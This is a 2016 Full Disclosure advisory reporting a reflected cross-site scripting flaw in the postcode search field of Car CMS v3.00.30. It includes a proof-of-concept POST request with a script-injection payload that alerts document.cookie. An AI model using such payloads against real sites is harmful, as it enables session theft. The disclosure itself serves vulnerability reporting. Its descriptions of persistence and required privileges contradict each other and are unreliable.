Message-ID: <d967bec8-8ebf-ed68-8d72-9ffa138a9705@vulnerability-lab.com>
Date: Tue, 2 Aug 2016 11:01:45 +0200
From: Vulnerability Lab <research@...nerability-lab.com>
To: fulldisclosure@...lists.org
Subject: [FD] Car CMS v3.00.30 - Search Cross Site Scripting Vulnerability

Document Title:
===============
Car CMS v3.00.30 - Search Cross Site Scripting Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1891


Release Date:
=============
2016-08-01


Vulnerability Laboratory ID (VL-ID):
====================================
1891


Common Vulnerability Scoring System:
====================================
3.2


Product & Service Introduction:
===============================
Car Portal is a php software product for running auto classifieds websites. It provides functionality 
for the private sellers to sign up, list their car for sale and make changes in their ads online using 
the private sellers administration space. The product provides special functionality for the dealers 
to work and manage multiple ads. An affiliate functionality is also included, affiliate partners may 
sign up and earn commissions on all the sales done through their links. The product comes with a 
powerful admin panel for the administrators, allowing them not only to manage the cars portal settings, 
the dealers, affiliates etc. but also providing full control over the website, its structure and content, 
also statistics, search engines functionality and others.
 
(Copy of the Vendor Homepage: http://www.dream-autos.com/ )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a client-side post inject cross site scripting web vulnerability in the Car v3.00.30 content management system.


Vulnerability Disclosure Timeline:
==================================
2016-08-01:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A client-side cross site scripting web vulnerability has been discovered in the official Car v3.00.30 content management system.
The vulnerability allows remote attacker to inject own malicious script codes on the client-side of the vulnerable module or service.

A client-side cross site scripting web vulnerability is located in the search engine. The web vulnerability could allow an attacker 
to execute javascript in the web-browser of the user or administrator to compromise session credentials. The attacker can connect 
to a third account to trigger the issue without knowing the password.

The security risk of the client-side vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.2. 
Exploitation of the persistent web vulnerability requires a low privileged account with restricted access and without user interaction. 
Successful exploitation of the vulnerabilities results in non-persistent phishing mails, session hijacking, non-persistent external 
redirect to malicious sources and client-side manipulation of affected or connected module context.

Request Method(s):
			[+] POST


Vulnerable Module(s):
			[+] Add (Input)


Vulnerable Parameter(s):
			[+] postcode


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers without privileged user account and with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

--- PoC Session Logs [POST] ---
Host: autoscript.localhost:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://autoscript.localhost:8000/
Cookie: PHPSESSID=54e7c1c6d7b68bc40da90f597151654a
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 198
block_search=search&brand_id=any&autos_model_name=&category_id_arr%5B%5D=any
&autos_price-gte=&autos_price-lte=&post_code='"/>></script><script>alert(document.cookie)</script>


PoC: Source
<div class="form-group">
     <label for="post_code_advance_box">Postcode</label>
<input type="text" name="post_code" id="post_code_advance_box" 
placeholder="Enter Post Code" value="'"/>>ZwX</script><script>alert(document.cookie)</script>" class="form-control">
</div>


Reference(s):
http://autoscript.localhost:8000/


Security Risk:
==============
The security risk of the client-side cross site scripting web vulnerability in the car cms web-application search is estimated as medium. (CVSS 3.2)


Credits & Authors:
==================
ZwX -  [http://www.vulnerability-lab.com/show.php?user=ZwX]




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=========================
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